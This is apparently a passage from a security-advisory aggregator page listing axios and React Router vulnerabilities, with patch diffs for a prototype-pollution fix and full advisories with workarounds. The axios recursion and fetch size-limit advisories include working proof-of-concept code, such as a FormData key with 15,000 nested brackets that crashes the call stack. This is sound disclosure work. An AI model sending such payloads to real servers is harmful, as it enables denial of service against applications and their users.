pattern PR #10833 already established: `diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ` Same pattern in resolveConfig.js: `diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ` The params / paramsSerializer half is already handled by open PR #10922's own('params') / own('paramsSerializer') change — that PR should be rebased / merged. Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: GHSA-q8qp-cvcw-x6jj / PR #10779 — mergeConfig direct-key reads. Fixed in v1.15.2. PR #10761 — mergeDirectKeys in → hasOwnProp. Fixed in v1.15.x. PR #10833 — proxy auth.username/password sub-fields. Fixed post-1.16.1. PR #7413 — formDataToJSON defense-in-depth. Fixed post-1.16.1. PR #10901 — socketPath guard. Merged 2026-05-24. PR #10922 (OPEN) — params / paramsSerializer own() guard. Proposed; not merged. This report adds: regular-request auth.username / auth.password sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). Reporter notes Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`. I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. Threat model honesty: this is amplifier framing — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

Summary Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json. If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination. Impact Applications are affected only when untrusted users can control FormData key names that are converted through axios. Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json. The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour. Affected Functionality Affected functionality: axios.formToJSON(formData) Named ESM export formToJSON Default transformRequest behaviour for FormData when Content-Type contains application/json Unaffected functionality: Normal multipart FormData submission without JSON serialisation toFormData, which already enforces a maxDepth guard Axios versions <=0.27.2, where formDataToJSON was not present Technical Details The vulnerable code is in lib/helpers/formDataToJSON.js. parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth: ``js const result = buildPath(path, value, target[name], index); ` A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit. Relevant source locations: lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath(). lib/axios.js exposes the helper as axios.formToJSON. index.js exposes formToJSON as a named export. index.d.ts and index.d.cts declare the public API. lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData. The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard. Proof of Concept of Attack `js import axios from 'axios'; const fd = new FormData(); fd.append('a' + '[x]'.repeat(15000), 'value'); try { axios.formToJSON(fd); console.log('not vulnerable'); } catch (e) { console.log(${e.constructor.name}: ${e.message}); } ` Expected result on affected versions: RangeError: Maximum call stack size exceeded The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json. Workarounds Applications can reject or normalise untrusted form field names before calling axios.formToJSON(). Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required. Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData. <details> <summary>Original Source</summary> Summary An uncontrolled recursion vulnerability in formDataToJSON allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like a[x][x][x]... with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable RangeError. The inverse function toFormData already enforces a maxDepth limit (default 100) for exactly this reason — formDataToJSON lacks the equivalent guard. Details Vulnerable function: buildPath in lib/helpers/formDataToJSON.js, lines 50–82. buildPath(path, value, target, index) is called recursively — once per segment in the parsed property path — with no depth check: `javascript // lib/helpers/formDataToJSON.js, lines 50–82 function buildPath(path, value, target, index) { let name = path[index++]; // advance one level if (name === '__proto__') return true; // ... if (!isLast) { // ... const result = buildPath(path, value, target[name], index); // recurse — NO depth guard // ... } } ` The key is first split into segments by parsePropPath (line 17), which extracts every [segment] via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames). formDataToJSON is a public API consumed two ways: 1. Directly by consumers — exported as axios.formToJSON() (lib/axios.js:80), with TypeScript declarations in both index.d.ts:699 and index.d.cts:708, and documented in the API reference in four languages (docs/pages/advanced/api-reference.md). 2. Internally by transformRequest — called at lib/defaults/index.js:56 when the request body is FormData and Content-Type contains application/json: `javascript return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; ` Contrast with toFormData: The inverse function (lib/helpers/toFormData.js:118) enforces maxDepth (default 100) and throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED when exceeded. formDataToJSON has no equivalent protection. PoC Requires only Node.js and an unmodified axios v1.x install: `javascript import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js'; // Build a FormData with a single key containing 15,000 nested bracket segments const fd = new FormData(); const key = "a" + "[x]".repeat(15000); fd.append(key, "value"); try { formDataToJSON(fd); console.log("Not vulnerable"); } catch (e) { console.log(e.constructor.name + ": " + e.message); // RangeError: Maximum call stack size exceeded } ` Verified output on Node.js 22.22.3 against axios v1.16.1 (current v1.x HEAD): ` RangeError: Maximum call stack size exceeded ` The process crashes. In a server context (e.g., Express middleware calling axios.formToJSON() on an uploaded form), a single crafted request terminates the process. Impact Denial of Service (process crash). Any unauthenticated user who can submit FormData to a Node.js application that passes it through axios.formToJSON() — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name. </details>

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

React Router vulnerable to Denial of Service via reflected user input in single-fetch

A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

Allocation of Resources Without Limits or Throttling in Axios

Summary Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. Impact The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources. This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them. Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion. Affected Functionality Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values. Relevant configurations include: adapter: 'fetch' adapter: ['fetch', ...] when fetch is selected environments where neither xhr nor http is available and axios falls back to fetch custom fetch environments configured through env.fetch Unaffected functionality includes: Node.js default http adapter enforcement versions before the fetch adapter was introduced configurations that do not rely on finite axios size limits Technical Details In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit. The fix in e5540dc added: maxContentLength and maxBodyLength reads in lib/adapters/fetch.js upfront data: URL decoded-size checks outbound body-size checks before dispatch Content-Length response pre-checks streaming response enforcement fallback checks for environments without ReadableStream regression tests in tests/unit/adapters/fetch.test.js Proof of Concept of Attack ``js import http from 'node:http'; import axios from 'axios'; const server = http.createServer((req, res) => { let received = 0; req.on('data', chunk => { received += chunk.length; }); req.on('end', () => { res.end(JSON.stringify({ received })); }); }); await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/; await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 }); // Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERR_BAD_REQUEST. server.close(); ` Workarounds Use the Node.js http adapter for server-side requests where finite size limits are security-relevant. Validate or cap attacker-controlled request bodies before passing them to axios. Reject or strictly allowlist attacker-controlled URL schemes, especially data:` URLs, before calling axios. <details> <summary>Original Report</summary> Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage. Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: lib/adapters/fetch.js (146-160): config destructuring does not include these controls. lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits. PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: adapter: 'fetch' maxBodyLength: 1024 3. Request a 4 KiB data: URL with: adapter: 'fetch' maxContentLength: 16 Expected secure behavior: both requests rejected. Observed: Upload: success, server received 2097152 data: response: success, length 4096 Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details> ---

React Router vulnerable to DoS via unbounded path expansion in __manifest endpoint

There exists a potential DOS attack vector in React Router Framework Mode applications (as well as Remix v2.10.0 - 2.17.4). Certain requests can be crafted to consume disproportionate resources on the server, resulting in response time degredation and/or service unavailability for end users. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

React Router's vendored turbo-stream v2 allows arbitrary constructor invocation via TYPE_ERROR deserialization leading to Unauth RCE

When using React Router v7 in Framework Mode, there exists a combination of steps that could potentially allow unauthorized RCE through external requests. This first requires the application code to have an existing prototype pollution vulnerability. This can be leveraged into a 2-step attack in which the second step can trigger unauthorized RCE on the remote server. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

React Router's same-origin redirect with path starting // causes open redirect via protocol-relative URL reinterpretation

Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)

React Router vulnerable to XSS in unstable RSC redirect handling via javascript: redirect targets

When using React Router v7's unstable RSC APIs, there exists a potential client-side XSS issue in the RSC redirect handling if redirects are coming from untrusted sources > [!NOTE] > This only impacts your application if you are using the unstable RSC APIs in React Router.

OWASP A03OWASP Web
Get guardrail →

React Router has stored XSS via unescaped Location header in prerendered redirect HTML

When using React Router v7 Framework Mode with Pre-rendering enabled, an improper neutralization of the HTTP Location header value can permit Cross-Site Scripting (XSS) in statically generated HTML files if the redirect location comes from an untrusted source. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A03OWASP Web
Get guardrail →

Showing 1–20 of 62 threats